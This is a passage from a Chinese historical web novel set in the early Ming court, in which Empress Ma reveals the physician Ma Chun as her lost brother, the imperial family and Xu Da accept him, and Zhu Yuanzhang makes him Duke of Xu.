起初眼中尚有薄愠,但随着徐妙云言辞恳切的剖析,那丝愠色渐渐化为复杂情绪。
她岂会不知“外戚”二字背后的水有多深?
当年随朱元璋打天下,她见过太多浮沉起落。
甚至徐达还在前不久交还兵权。
魏国公徐达的这份清醒认知,其实已经告诉徐妙云,皇权不可靠近。
徐妙云这份顾虑,并非无的放矢,恰恰是洞察人心世情的精微之处。
这孩子的心思……远比她那“只顾眼前清净”的傻弟弟要缜密通透。
一时间,马皇后胸中翻涌的怨怼之气,竟被一股强烈的酸涩和慰藉冲击得支离破碎。
她长长地吐出了一口积压在胸臆间的浊气。
她不再看徐妙云,而是猛地侧过身,带着十二分的恨铁不成钢,伸手指向那依旧老老实实跪在地上、一脸羞愧又带着点茫然的弟弟马淳。
“马淳,你听见没?这才是该有的心思!这才是明白人该说的明白话!”
马皇后的声音陡然扬高,“瞧瞧你媳妇,识大体,知进退,思虑周全深远!”
她的手指几乎要点到马淳的额头,“再看看你自己!除了缩在你的医馆小天地里,一味只图清净省心,还有什么?”
“……两厢对照,高下立判!你媳妇比你懂事千百倍!”
……
第123章标儿,这是你舅舅!快叫舅舅!!
马淳依旧直挺挺地跪在地上,脸上清晰的指痕和额角微红。
马皇后站在他面前,情绪波动后,眼神复杂地凝视着这个让她又气又疼的亲弟弟。
朱元璋立在一旁,默不作声,但眼神扫过马淳时,那份“你小子自找”的无奈意味更浓了。
殿外适时传来清晰沉稳的回禀:“启禀陛下、娘娘,太子殿下求见。”
“让他进来。”马皇后深吸一口气,声音恢复了往日的端稳。
珠帘轻响,太子朱标一身朝服走了进来。
他显然是刚刚处理完紧要政务,眼神第一时间便投向父皇和母后,关切道:“父皇,母后,雄英那边……”
话音未落,他的目光便不由自主地被跪在地上的身影牢牢抓住。
朱标整个人顿住了,脚步都停了下来。
马淳?
他的第一反应是错愕,随即是浓浓的困惑。
这不是刚立下大功的马太医吗?
不是以神乎其技治愈了雄英凶险天花、保住了大明嫡长孙性命的大功臣吗?
不是连母后沉疴多年的心疾和身体也因他的诊治而明显好转的恩人吗?
朱标的目光在父皇、母后和跪地的马淳三人之间飞快地逡巡。
母后脸上泪痕未干,眼神复杂。
父皇神色凝重,看向马淳的眼神带着几分复杂。
而马淳,虽然跪得笔直,但脸颊红肿,显然刚经历过一番不小的风浪。
这……这是怎么回事?
朱标的心一下子沉了下去,无数个念头翻腾。
莫非是朝堂倾轧?
是有人眼红马淳接连立下奇功,暗中构陷,罗织罪名,竟告到了御前?
甚至牵扯到了父皇母后?
还是……马淳在治疗雄英时出了什么意想不到的纰漏,如今东窗事发?
可看雄英方才的情形,明明是稳定好转的迹象啊。
抑或是……
宫内不可说的阴私,母后身边的人事……
他越想越惊,目光里充满了惊疑不定。
若是第一种,朝堂宵小竟敢将手伸得如此之长,构陷有功太医,他绝不容忍!
若是后两种……他实在不敢深想下去,只觉得一股寒意从脊背升起。
无论如何,马淳对雄英的救命之恩是实打实的,母后的健康亦是举国大事,这般让恩人功臣跪在冰冷御前,绝非父皇母后待人处事之道。
朱标定了定神,稳住心态,走上前先规规矩矩向朱元璋和马皇后行了礼:“儿臣参见父皇,母后。”
行完礼,他忍不住微微侧头,小心翼翼地问道:“母后马太医他……”
难道是母后要处罚马太医?
可这理由何在?
难道他治好了雄英和母后,反倒有错了不成?
这实在不合常理!
马皇后看着儿子脸上毫不掩饰的困惑与忧虑,伸出手,轻轻拉住了朱标的胳膊,将他引向依旧跪在地上的马淳面前。
朱标顺从地被牵引着,站在了马淳身侧。
“标儿。”她的手指向马淳,“这是你舅舅。”
七个字。
如同七道无声的霹雳,瞬间在朱标的脑海里炸开!
舅舅?!
朱标只觉得眼前猛地一花,脚下不受控制地一个趔趄,整个人都晃动起来,差点就要站不稳。
他猛吸了一口气,头却依旧昏涨。
他难以置信地死死钉在马淳的脸上。
这是他舅舅?!
母后的亲弟弟?
他的亲舅舅?!
这怎么可能?!
这荒谬得简直如同市井奇谈!
他记得清清楚楚,马淳背景是查过的。
一个从小青村崛起的神医,身世清白但也简单。
他医术通神,年纪轻轻却稳重可靠,无论是救治重病的雄英,还是调理母后的凤体,都展现出非凡的才华。
在朱标心目中,马淳是值得倚重的人才,是需要好好笼络和保护的国之栋梁……
可这层身份,从未与“舅舅”二字有过丝毫联系!
这感觉……这感觉就像是朝夕相处、同席而坐的同僚好友,突然有一日被告知,他是你失散多年、年纪却比你小得多的后爹!
震惊!
荒谬!
还有一丝猝不及防的……滑稽?
巨大的冲击力让朱标瞬间懵了。
他几乎是本能地、茫然无助地转过头,带着求救目光,投向了一直沉默旁观的父亲,大明开国皇帝朱元璋。
朱元璋那黝黑威严、布满风霜沟壑的脸上,此刻竟也罕见地流露出一丝……感慨世事无常的复杂表情。
他迎上儿子求证的目光,非常认真,非常肯定地点了一下头,沉声道:“标儿,没错。快叫舅舅!”
这一声“叫舅舅”,如同最后一根稻草,“轰”地压垮了朱标心中摇摇欲坠的认知。
他感到一阵前所未有的眩晕席卷而来,眼前发黑,耳畔全是尖锐的蜂鸣。
二十多岁的堂堂大明太子,一人之下万人之上的储君,感觉自己的膝盖也有些发软。
他需要一点时间。
哪怕只是短短一息的时间来消化这惊天的转折。
殿内再次陷入了奇妙的寂静。
朱元璋看着向来稳重自持的长子这副被震得七荤八素、甚至有些手足无措的模样,嘴角划过一丝极淡、极难察觉的笑意。
这小子平日里代他处理国事,端是沉稳老练,颇有君父之风,何曾见过他这般失态?
此刻的朱标,少了几分储君的矜持,多了几分他记忆中儿子年少时的窘迫,倒是……意外地让他觉得亲切。
徐妙云捧着玉碗,坐在厚软的锦墩上,将太子这短暂的失态尽收眼底。
她看着马淳依旧笔挺的跪姿,又看到殿下这难以形容的反应,再想想自己的丈夫骤然成了太子的亲舅舅……
她赶紧低下头,借着啜饮甜羹的动作,巧妙地掩去唇边极力压制的笑意。
这画面,无论谁见了,恐怕都得晕一晕吧。
这短暂的寂静里,最煎熬的莫过于仍旧跪在地上的马淳。
他能清晰地感受到朱标投射在自己身上的目光有多么复杂和震惊。
他明白太子此刻内心的惊涛骇浪,任谁突然得知一个年轻的下属变成了自己的长辈,恐怕一时半会儿都难以接受。
他只能继续保持沉默,挺直脊背,承受着这股无形的压力。
在马皇后温和而催促的目光下,朱标深吸了一口气,“舅……舅舅。”
叫出口的瞬间,朱标感到一种难以形容的荒谬感席卷全身。
这称呼太陌生,太诡异。
他比眼前跪着的青年大了七八岁有余!
七八岁!
在寻常人家,七八岁的差距足以让他成为马淳的长兄甚至长辈。
可眼下,他竟要对着这个年轻臣子口称“舅舅”!
马淳依旧保持着恭敬而标准的跪姿,头也未抬地回应道:“殿下。”
这声“殿下”让朱标觉得一股强烈的尴尬气息弥漫开来。
这算怎么回事?!
舅舅跪着拜见他这外甥太子?
这礼数简直乱到了爪哇国!
朱标只觉得头皮都有些发麻,他甚至不敢去看父皇和母后此刻的表情。
这别扭至极、荒谬绝伦的场景,真是他活了二十八年头一遭遇到!
看着儿子那脸上几乎绷不住的表情和微微抽搐的嘴角,再看到自家老实弟弟还在地上挺着,马皇后终于忍不住了。
她几步走到依旧跪着的马淳身边,“好了!人你也见了,也认了。你这傻跪着要到几时?还不快起来!”
马淳如蒙大赦,这才赶紧应道:“是,姐……娘娘。”
他下意识想改口,但接触到马皇后递来的眼神,又立刻咽了回去。
“好了!”他大手一挥,带着一种不容置疑的家主气息,“该认的都认了。马……咳,”
他目光投向马淳,似乎对这个称呼也有些新奇和不适应,“你也莫跪了。今日这事,天大喜事!标儿,马……”
他又顿了一下,“标儿,你舅舅今日也受累了,起来都起来。妙云身子不便,也需好好休养。朕看啊,晚点让御膳房好好预备,一家人……好好吃顿饭!有什么家常,饭桌上再叙!”
他将“一家人”三个字说得清晰而郑重。
马皇后闻言,紧锁的眉头终于彻底舒展开,脸上露出了如释重负。
“就依重八说的。”马皇后声音恢复了往日的平和安宁,“今日,团圆饭。”
……
第124章朱雄英要是活着,我的允炆怎么办
暖阁中的家宴已备妥。
朱元璋在上首正襟危坐,马皇后坐在他身侧,目光时不时落在下首的马淳和徐妙云身上。
徐妙云身下垫了厚厚的锦褥,姿态恭谨。
朱标在朱元璋下首,眼神复杂地偶尔掠过马淳。
马淳坐在朱标对面,背脊挺直,脸上巴掌的微痕依稀可见。
终于,马皇后放下了银箸。
她望向马淳,“淳儿。家里的事……你且详细说说。我们的继……我是说,那位照料爹后半生的姨娘,她是怎样的人?爹带着你在那徽州深山,又是如何过活的?”
朱元璋的目光也投了过来。
马淳微微抬眼,声音低沉平缓,仿佛在叙说一个遥远的故事:“爹逃至徽州府,寻了一处人迹罕至的深山落脚。那时世道混乱,他不敢显于人前。山深林密,一日他不慎摔断了腿,动弹不得,幸得一位山中采药的女子搭救。”
“那女子家中……早已没了别的亲人,孤身一人避乱山中。”马淳顿了顿,“爹养伤数月,她悉心照料。两人皆是乱世飘萍,无依无靠。同病相怜,时日久了,便生出了相依为命的情分。后来……便结成了夫妻。”
马皇后静静听着,想到父亲深山独自求活的艰辛,顿感无比心酸。
“不久,便有了我。”马淳的语气苦涩,“那深山真是如同世外桃源,与外界几乎隔绝。爹终日担惊受怕,他总说自己曾是郭大帅……郭子兴的结义兄弟。红巾军起事那会儿结下的情义。他认定自己是大元朝廷眼中的‘反贼余孽’,官府必然通缉捉拿。故而他始终不敢离开那片山林一步,对外界翻天覆地的变化浑然不知。”
“父亲就像那《桃花源记》中的人,‘不知有汉,无论魏晋’。他一心只求母子平安,苟活于世。”
朱元璋听得入神,微微颔首。乱世求生,谨慎是常情。
“后来,母亲染了急症……”马淳的声音更低了些,“山中缺医少药,不幸早逝。爹悲痛万分,形销骨立。我那时年纪还小,只知整日看他望着山外出神,神情日益恍惚憔悴。守孝期过后,爹似乎下了极大的决心。他拉着我,说不能再待在这‘桃花源’里等死,是时候……是时候要出去看看外面的‘天地’了。”
“我们收拾了仅有的细软,一路跋涉。途中,才陆陆续续从流民、商贩口中知晓了些外界情形……大元已经亡了!如今是朱大帅……陛下的天下了!”
马淳看向朱元璋,目光坦然,“更令他意想不到的是,听一过路的行商闲谈时说起,当初郭大帅麾下的那位义女,马姑娘,如今已是……”
“已是大明尊贵无比的皇后娘娘!爹听了,激动得浑身颤抖,拉着我的手,反反复复念叨‘还活着’‘我的秀英还活着’‘她还活着啊!’……
“那一夜,他在简陋的客店里坐了一宿。第二天天未亮,他便硬撑着病弱的身体拽我启程,说是要日夜兼程赶往京城。”
“爹说,他一刻也等不得了,拼着这条老命也要赶到京城,看一眼他的女儿……”马淳的声音哽住了,“他年事已高,这一路又是惊喜急切,又是忧惧交加,加上长途奔波,本就虚弱的身子根本扛不住。越接近金陵,病情越沉。”
“好不容易……好不容易捱到了京城近郊的小青村附近,爹再也支撑不住。我们将就在村中一处废弃的破屋里安顿下来。他那时已是高热不退,神志模糊……仅仅几日……便……”马淳深深吸了口气,艰难地吐出最后几字,“……便含恨离世。至死……未及见他苦寻半生的女儿……最后一眼。”
热泪终于滑过马皇后的脸颊,她强忍着没有发出呜咽。
朱元璋浓眉紧锁,发出一声沉重的叹息,伸出手轻轻拍了拍马皇后的手背。
朱标这才知道,自己的舅舅到底经历了什么。
“爹走后……我孤身一人留在小青村,万念俱灰。”马淳的声音带着劫后余生的淡漠,“不久,水患起,瘟疫横行。我也染上了那场要命的时疫,高烧昏迷,气息奄奄,自料必死无疑。阎王殿前走过一遭,幸得一位游方的老神医路过施救,用奇方吊住了性命,这才……死里逃生。”
其实那时候他刚好觉醒了神医系统,这才能够死里逃生。
“经历此番生离死别,鬼门关前挣扎得活。再看这世事名利,不过大梦一场。”马淳抬起头,看向马皇后,“姐,我那时并非刻意隐瞒身份,只是确已心灰意冷。觉得能凭一身医术救活几条人命,便是上苍垂怜。一生平安度日,于愿足矣。真没想过……竟还有今日之幸。”
朱元璋的叹息更深,眼底的严厉已彻底消融,只剩下理解的感慨。
难怪此子如此不慕荣利,如此抵触进宫认亲。
历经父丧、身染绝症、九死一生,心中早已将浮华看透。
马皇后已是泣不成声,她用手帕掩面,双肩微微耸动。
朱元璋沉声道:“好了,过去的事都过去了。生死无常,世道变迁,谁又能料到?苦尽甘来,这才是天大的幸事!妙云有了身子,这是马家的大喜!来,都动箸,多吃些!今日,只叙天伦!”
他率先举起金杯,环视众人。
朱标连忙跟着举杯应和,他看向马淳的眼神中,那份隔阂和尴尬悄然淡去,多了几分对“死里逃生”经历的唏嘘和认同。
唯独吕氏。
她依旧保持着低眉顺眼的姿态,努力维持着温婉端庄的面具。
“舅舅……国舅……”这个称谓在她心底掀起滔天巨浪。
一个深受帝后信任、太子敬重的御医已不易对付,如今竟成了正宫皇后的胞弟、当朝太子的亲舅舅!
这层身份让原本盘算的那些阴暗心思变得异常渺茫、异常危险。
她小心翼翼地抬了抬眼皮,瞟向朱雄英寝殿的方向,一股寒意从脚底直窜头顶。
“朱雄英……这下……更难了。”
若是皇长孙一直这般顺遂成长下去,哪里还有她的允炆?她的指望?
她心底一片冰凉……
第125章徐达啊,你女儿怀孕了!
暖阁内,君臣家宴的气氛在朱元璋一声令下稍稍活络了些许。
马皇后拉着徐妙云的手低声细语。
朱标则频频为众人布菜,目光却不自觉落在马淳身上。
朱元璋大口喝下一杯酒,抹了下嘴,看向朱标。“标儿,去请你魏国公过来。”
朱标立刻起身:“是,父皇。”
他快步走出暖阁。
马淳沉默地吃着,脸上火辣辣的感觉还在。
徐妙云安静坐着,心思玲珑,已猜到接下来的事。
很快,暖阁外传来脚步声。
朱标引着徐达走进来。
徐达身着常服,步履沉稳。
他先向朱元璋和马皇后行礼。
又向朱标点头示意。
随后目光扫过马淳和徐妙云,带着一丝困惑。
他不知道陛下深夜急召所为何事,还特意让女儿女婿在场?
“天德来了,坐。”朱元璋一指旁边的空位。
宫人立刻搬来锦凳。
徐达依言坐下,身姿端正。
“天德,”马皇后轻声道,“我们有件大事告诉你。”
朱元璋接过话头,直截了当:“天德啊,咱们这顿家宴,又多了一个家人。”
他指指马淳:“这位马太医,他不但是你女婿,也是咱的亲戚。”
徐达明显愣住。
他看看马淳,又看看陛下和皇后。
确认他们不是开玩笑。“陛下是说……马太医……是……”
马皇后眼眶微红:“他是我失散多年的亲弟弟。”
朱元璋接口:“没错。咱和妹子刚才都验过了。”
他拍拍徐达的肩膀:“天德,马淳,是皇后的亲弟弟,你的女婿,也是咱大明的第一国舅了。咱们两家之前没做成亲家,现在阴差阳错又成了。”
暖阁内静了一瞬。
徐达彻底明白过来。
他猛地站起身,看着马淳,满眼震惊。
他那精于谋算的头脑,开始飞速运转。
这身份转变来得太突然。
“竟……竟有此事……”徐达喃喃道。
他心中念头纷乱如麻。
自己交还兵权,主动切割了与皇家的联姻。不就是为了远离这权利漩涡,保全徐家吗?
可现在……最想避开的人,女儿徐妙云的丈夫,摇身一变成了皇后的亲弟弟,太子的亲舅舅?
避来避去,竟绕了个大圈又撞回来了?
他深吸一口气,努力平复内心的惊涛骇浪。
目光再次扫过马淳。
这个年轻人,一身医术惊世骇俗。
救过皇长孙,治好了皇后顽疾,也治好了自己的背疽。
更难得的是,他始终低调谦和,毫无骄矜之气。
即便现在身份骤贵,脸上也不见半分得意,反而透着拘谨。
再想到陛下对皇后那份深入骨髓的敬重……徐达的眼神渐渐有了变化。
一丝亮光闪过眼底。
他看向朱元璋,语气转为沉肃,带着确认:“陛下,此事……属实?”
“千真万确!”朱元璋斩钉截铁,“玉佩为证,马淳也已认了亲。咱们现在,是亲上加亲!”
徐达听完,神情变得庄重。
他转向马淳,后退一步。
然后抱拳,深深一揖。
腰弯得极低。
这一礼,不再是岳父对女婿,也不是国公对太医。
而是臣子对国舅,更是对皇后胞弟身份的敬重。
“徐达不知国舅身份,往日多有简慢,望国舅恕罪。”
马淳吓了一跳,赶紧站起身,手足无措地去扶徐达。“岳父大人!使不得,万万使不得!”
他急忙道:“什么国舅不国舅,我还是我。您这样,折煞小婿了!”
他脸都涨红了。“在您面前,我永远是小辈。”
朱元璋见状哈哈大笑。“好了好了!天德不必多礼!马淳说得对,一家人,不讲究那些虚的!”
他亲自拿起酒壶,给徐达斟满一杯。“来!天德,再陪咱喝一杯!”
徐达直起身,脸上终于露出一丝笑容。
那笑容从最初的震惊、愕然,渐渐变得如释重负,进而透出欣慰。
他端起酒杯,没有立刻喝,而是看向朱元璋,坦诚说道:“陛下,臣刚才听到这消息时,确实震惊莫名。”
“交还兵权,原是想远离纷扰。”
“万没想到,峰回路转,小女竟嫁入皇后娘家。”
“这缘分,实在奇妙。”
他顿了顿,语气变得沉稳而清醒。“臣仔细一想,马国舅与别家藩王外戚,大有不同。”
朱元璋放下酒杯,饶有兴趣。“哦?天德说说看,有什么不同?”
徐达正色道:“其一,国舅出身民间,所凭借者,乃神乎其技的岐黄之术。”
“于社稷,他救皇嗣、扶凤体、治老臣,功在当下,利在千秋。”
“这与藩王执掌地方兵马或某些外戚身无功勋仅凭联姻而贵,截然不同。”
“其二,马国舅从未参与朝堂争权夺利。”
“他行事低调,专注医道,在民间素有清名。”
“既无强兵,也无羽翼,更无野心。”
“身份虽贵,反而不易招惹猜忌,根基最为纯粹安稳。”
“其三……”徐达看向上首的朱元璋和马皇后。“陛下待娘娘情深义重,举世皆知。”
“国舅乃娘娘至亲手足,陛下爱屋及乌,定会真心看重护佑。”
“此等地位,实非他人可比。”
“臣说句心里话,只要国舅持身以正,这地位,比任何人……都稳如泰山!”
最后几个字,徐达说得掷地有声。
他心中豁然开朗。
藩王掌兵,是太子的潜在对手,未来若太子想削藩,难免冲突。
自己这样的功臣,手握兵权是陛下心中的隐忧。
唯有马淳这样的身份——身份崇高却无兵无权,所拥有的只是活命救人的本事和皇后的至亲血脉。
这反而是最安全的身份!
与这样的“国舅”结亲,对徐家而言,非但不是枷锁,反而是延续安稳富贵的护身符。
朱元璋听完徐达的分析,眼中精光闪动,忍不住抚掌大笑。,“说得好!天德!看得透彻!”
他拍着大腿。“没错!马淳这小子,有点本事是真,可他最让人省心的是什么?就是没兵权!不想争权!只想做他那个小大夫!”
他指着马淳。“你们看他那个样子!给他个官做,比打他还难受!”
朱元璋越说越乐。“他在医馆坐堂时那自在劲儿,进宫就当受苦受难!满脑子就是给人切脉扎针开药!这样的人,咱还猜忌他?咱怕他累着!”
“他这‘国舅’,跟别的‘舅爷’不一样!别的舅爷整天琢磨着伸手要官要权!这小子躲得比兔子还快!咱赏他点东西他都嫌累赘!”
马淳被说得耳根通红……
第126章承袭王嗣,恩封‘徐国公\’!
朱元璋大手一挥。“行了行了!咱就喜欢你这股子实诚劲儿!”
他转回徐达。“天德,你看明白了就好!咱让你过来,就是把话说开!以后啊,马淳还是你的女婿,该走动走动!该照顾照顾!不许欺负咱小舅子!”
说着他突然想起什么来,“不对,这一来好像你的辈分比咱还大……”
哈哈哈……
在场众人皆是大笑。
徐达也彻底放下了心防,笑应道:“陛下放心。臣必谨遵圣意。”
他又看向马淳,笑容真诚。“往后,咱们翁婿之间,还需多走动才是。”
马淳赶紧点头。“自当如此,岳父大人。”
徐妙云一直紧绷的心,此刻松懈下来。
马皇后看着眼前情景,心中百感交集。
失散多年的弟弟找到了。
亲家翁也通情达理。,丈夫更是毫不避讳地给予支持。她眼中再次泛起泪光,这次是欣慰的泪水。
“好了好了,都说开了!都是喜事!今日算是双喜临门!一是我们姐弟团圆!二是马徐两家,亲上加亲!”
“来!满饮此杯!”众人纷纷举杯相庆。
酒过三巡,马皇后看着徐妙云,温柔问道:“妙云,方才动气了没有?要不要让马淳再给你诊个脉?”
徐妙云忙道:“多谢娘娘关心,我无碍的。”
马皇后嗔怪道:“还叫娘娘?”
徐妙云有些不好意思地笑了笑,改口:“谢过姐姐关心。”
马皇后这才展颜。
她又转向马淳,板起脸。“妙云有了身子,你可得给我上心点!再敢浑浑噩噩不知冷热,看我不……”
她扬了下手。
马淳下意识缩了缩脖子。
引得众人又是一阵轻笑。
马皇后看着弟弟那紧张的样子,终究没舍得继续吓唬。“好了,今天到此为止。”
她转头对朱元璋道:“重八,让御膳房送点清甜的羹汤来。我看妙云也该歇歇了。”
朱元璋点头:“好,都听妹子的。”
他对朱标道:“标儿,安排人送你徐叔回去,路上慢点。再让人准备些温补的药膳,送到马淳的医馆。”
朱标应声:“儿臣这就去办。”
朱元璋轻轻拍了拍马皇后的手背。
暖阁里的灯火映照着他的脸庞。
酒宴已经撤去,徐达和朱标也离开了。
大监和宫女们也退远了些,只留下帝后和马淳夫妇。
殿内安静下来。
朱元璋看着马皇后,声音沉稳温和。
“妹子。”
马皇后靠在他肩上,眼中还有喜悦的泪光。
“重八……”
朱元璋缓缓开口。“有件事,咱跟你商量下。”
马皇后抬起头,认真听着。
朱元璋的目光扫过下首端坐的马淳和徐妙云,“你看。咱爹。老泰山当初走了。咱也没能好好尽孝。后来念着他的好。追封他为徐王。”
朱元璋顿了顿,“按制,王爵,父死子继。可那时咱不知马淳还在。王爵之位便悬着。”
马皇后明白了,她眼睛亮了起来,“重八,你是想……”
朱元璋点点头,他握住马皇后的手。“咱想着。让马淳继承他爹的爵位。徐王爵位高。国公之位,更合适。”
朱元璋看向马淳。“马淳,继承徐国公的爵位。”
马淳正在喝水,闻言差点呛到。
“陛下!”
他急忙放下茶盏。“万万不可!”
马淳脸色都变了。“臣……臣何德何能!臣只想行医救人。不求功名利禄。”
马皇后也看向朱元璋。眼神中带着询问。
朱元璋笑了笑。
他看着马淳。“咱知道你不爱当官。更不愿掺和朝堂。”
朱元璋语气很认真。“让你继承这爵位。不是为了给你套枷锁。国公只是你的身份。你可以不用它。该做你的大夫,还做你的大夫。不必上朝理事。勋贵的俸禄和尊荣照领。这才是最重要的!”
马皇后瞬间就懂了。她紧紧抓住朱元璋的手,感动得无以复加。“重八……”
朱元璋拍拍她。目光再次落在马淳身上。“这爵位是你应得的。你是你爹唯一的儿子。你爹是开国追封的王。儿子袭爵降等为国公,是本朝定例。”
朱元璋又指了指徐妙云。“更何况。马家香火延续在即。这孩子出生,也是国公府的嫡系血脉。”
他看向马皇后。“妹子,你说是不是一举多得的好事情?”
马皇后用力点头,眼泪又止不住地流下来,“是!太好了!”
她看向马淳,语气带着不容拒绝的温和,“弟弟!听见没有?这是陛下对你,对咱马家天大的恩典!”
马皇后语重心长。“有了这爵位在身。你在民间行医,旁人自然知道你的身份。无人敢轻慢于你。那些勋贵阶层,也要敬你三分。你想安安静静做大夫。这个身份不是累赘。反而是最好的护身符!”
徐妙云也听明白了。她悄悄拉了拉马淳的袖子。轻声道。“夫君。姐姐和陛下深思远虑。”这是为你好,为马家好。也是为我们将来的孩儿好。”
马淳看着妻子恳切的眼神。再看看姐姐激动期盼的目光。最后望向朱元璋。
皇帝的眼神坦荡而真诚。没有一丝试探。
马淳深深吸了一口气。
他明白了。
这爵位不是赏赐他入朝的诱饵。陛下和姐姐,是真真切切为他着想。想给他一个安稳尊崇的地位。
让他既不必改变生活,又能保障他和妻儿的未来。
马淳心中翻涌着复杂的情绪。
有感动。
有惭愧。
也有释然。
他站起身,对着朱元璋和马皇后,深深一揖,这一次,他不再推拒,“臣……马淳。谢陛下隆恩!谢……姐姐厚爱!”
马皇后笑了,抹去泪水,“快起来!傻弟弟!”
朱元璋也开怀大笑,“这就对了!”
他起身,走到御案旁。
“今天高兴!大监!拿纸笔来!”
大监立刻奉上纸笔,恭敬研墨。
朱元璋提笔,挥毫泼墨,笔走龙蛇。他写得很仔细。
很快,一份简短但清晰的旨意写好了。
朱元璋拿起墨迹未干的纸,看了看,满意地点点头。
“嗯。马淳听旨!”
马淳赶紧拉着徐妙云,再次下拜。
“臣马淳接旨!”
朱元璋朗声道,“奉天承运皇帝,诏曰!追念开国功臣马世昌之忠贞,追封马世昌为徐王,功在社稷。其子马淳,人品端方,医术通神。仁心济世,泽被苍生,乃皇后嫡亲胞弟,血脉至亲。今特命马淳,承袭王嗣,降袭国公!恩封‘徐国公’!以示皇恩浩荡,光耀门楣!望汝感念天恩。持身以正,永固医者仁心。钦此!”
……
第127章当姑父!朱元璋想给侄子准备重礼
朱元璋的声音在大殿中回荡,每一个字都清晰无比,落在大殿每个人耳中,也落在马淳心上。
马淳深深叩首。“臣马淳,领旨谢恩!吾皇万岁!万岁!万万岁!”
徐妙云也跟着叩首谢恩,心潮起伏。
从此她的丈夫不再仅仅是一个名医马太医,还是大明地位尊崇的徐国公!
而这位国公,依旧只想做他的大夫。
马皇后看着弟弟叩首的样子,看着丈夫那充满智慧的决定,心中那块悬了许多年的石头。
终于彻底落了地,父亲的血脉,得到了最好的安置,弟弟的生活,将安稳无忧,马家的香火,将绵延流长,这结局,好得远超她的想象。
“起来吧,都起来!”朱元璋放下旨意,心情舒畅。
他笑着对马淳道,“国公的仪制,会有礼部和内府监置办,你和妙云的新府邸,也会尽快选好地方建起来。”
他特别强调,“记住咱的话!这些虚礼,是做给外人看的门面。平日里你还是你的马太医,该去医馆坐诊就去坐诊,该回家陪媳妇就陪媳妇,没人逼你上朝参政!”
马淳抬起头。
脸上是前所未有的轻松和感激,“臣明白!谨遵陛下旨意!定不负陛下和姐姐期望。”
朱元璋点点头,又对大监道,“好了。时辰不早了,送徐国公和夫人回去休息吧。”
大监躬身应诺,“遵旨。”
马淳扶着徐妙云起身。
徐妙云小心翼翼地向朱元璋和马皇后施礼告退,“陛下,姐姐,臣妇告退。”
马皇后温柔地看着她,“好孩子,慢些走。回去早些休息。”
她不忘又瞪了马淳一眼,“照顾好你媳妇!要是动了胎气,看我怎么收拾你!”
马淳赶紧应承,“姐放心!”
马淳扶着徐妙云,随着大监缓缓退出暖阁。
暖阁的门在他们身后关上。
将明亮的灯火和温暖的皇家亲情留在身后。
门外是清冷的月光和长长的宫道。
徐妙云轻轻握住马淳的手。
“夫君……”
“嗯?”
马淳低头看她。
徐妙云的声音很轻,带着一丝梦呓般的感慨,“姐姐的手劲儿,真是大啊。”
马淳摸着还有点热意的脸颊,忍不住苦笑,“是该打,谁让我这么糊涂。”
他顿了顿,声音低沉下来,“姐姐她是……真的太想有个亲人了。”
徐妙云将头轻轻靠在他肩上。
“我知道。以后我们要多进宫陪陪姐姐,她心里苦了太久。”
马淳用力点头。
“嗯!”
……
暖阁里,只剩下朱元璋和马皇后。
马皇后望着紧闭的殿门,目光似乎能穿透门扉,看到弟弟和弟媳远去的身影。
她的心彻底踏实了。
朱元璋走过来,轻轻揽住她的肩膀,“这下放心了?”
“嗯!”马皇后重重地点头。
脸上是卸下千斤重担后的明亮笑意,“放心了!”
“重八!”她转过身,看着朱元璋,眼中充满了柔情和深深的感激,“谢谢你替爹,替马家,替弟弟,都考虑得这么周全。”
朱元璋哈哈一笑,带着几分得意,“那当然!咱是你男人!也是皇帝!处理这点家事国事,还不是手拿把攥!”
他拉着马皇后走向座椅,“你啊,折腾大半天又哭又笑的,身子哪吃得消?快坐下歇歇。”
朱元璋扶着马皇后坐下,转头对外面扬声喊,“来人!把给小厨房温着的参汤端来!”
他特意叮嘱,“多放一小把枸杞!”
小太监在门外应声。
“遵旨!”
马皇后看着朱元璋仔细的侧脸,心中暖流涌动。
这个杀伐决断的开国帝王,在她面前永远是这样细心而温情,“重八……”
朱元璋转头看她,“嗯?”
马皇后想了想,嘴角弯起,“你觉得……给弟弟的国公府安置在哪片好?”
朱元璋不假思索,“咱心里有谱了!太平门那一带,挨着玄武湖。离你和标儿近,离城里的医馆也近便。景致也好,闹中取静最适合他们两口子。”
马皇后连连点头,“好地方!还是你想得妥帖。”
小太监端着热气腾腾的参汤进来了,朱元璋接过碗,小心地吹了吹,递给马皇后,“快喝了定定神。”
马皇后接过碗,她小口喝着,暖意从喉咙直抵心田。
朱元璋看着她,低声问道,“你说……这事明日传出去朝里会是个什么动静?”
马皇后放下碗,轻轻叹了口气,“总会有人嚼舌根,少不了酸话,不过……”
她语气坚定起来。“弟弟这国公,受之无愧!他做的那些事,桩桩件件,哪一件拎出来不够格?”
朱元璋抚须颔首,深以为然,“说得对!救了咱大孙。治好了你的病根。帮天德消了疽毒……哼!”
他眼中精光一闪,带着帝王的威严,“这些功劳加身,又是我朱元璋的正经小舅子!一个承嗣得来的国公之位,谁还敢说三道四?”
他大手一挥,“咱看谁敢!”
马皇后笑了,她拉着朱元璋的手,“有你这话,我就什么也不怕了。”
她顿了顿,眼中闪过一丝促狭,“还有件事。你说妙云现在有孕在身,国公府的喜气可不能落下了。我这个做姑母的。总得给弟媳肚子里的小侄子备份厚礼吧?”
朱元璋眉毛一扬,也来了兴致,“那当然!必须厚礼!回头让内府监把好东西都拿出来让你挑,可不能寒酸了!”
两口子相视一笑。
御书房内。
翰林学子将朱元璋刚才亲笔写下的那道封爵旨意,工整地誊抄在明黄的圣旨卷轴上。
“敕命:追念开国功臣马世昌之忠贞……特命马淳,承袭王嗣,降袭国公,恩封‘徐国公’!钦此!”
最后一笔落下,太监恭敬地将卷轴捧起,悬挂在专门的架子上晾干墨迹。
第128章太子妃吕氏恶毒的眼神!!
深夜,魏国公府。
厅堂里灯火未熄。
长子徐辉祖立在堂前,眉头微蹙。
次子徐增寿不安地踱步。
幼女徐妙锦支着下巴蜷在太师椅上,眼皮已经发沉。
在阴云密布的朝局下,陛下突然急召,子女们颇为担忧。
“老爷回府!”一声唱喏,让子女们都安下心神。
徐达进屋,脱去外袍,子女们围了过来。
“都坐。”徐达的声音很轻快。
三人围拢过来,徐达目光扫过儿女紧绷的脸,开门见山。
“陛下设的是家宴。马淳那孩子,是皇后娘娘失散多年的亲弟弟。”
话如惊雷劈在死水里。
徐增寿“腾”地窜起来,“谁?!”
徐妙锦手一抖。
连素来沉静的徐辉祖都倒抽一口气。
喉结滚动几下,却发不出声音。
徐增寿的声音劈了叉:“父亲辛辛苦苦才把兵权交还,躲开皇亲的漩涡!怎么绕来绕去,又和皇家做了亲家?”
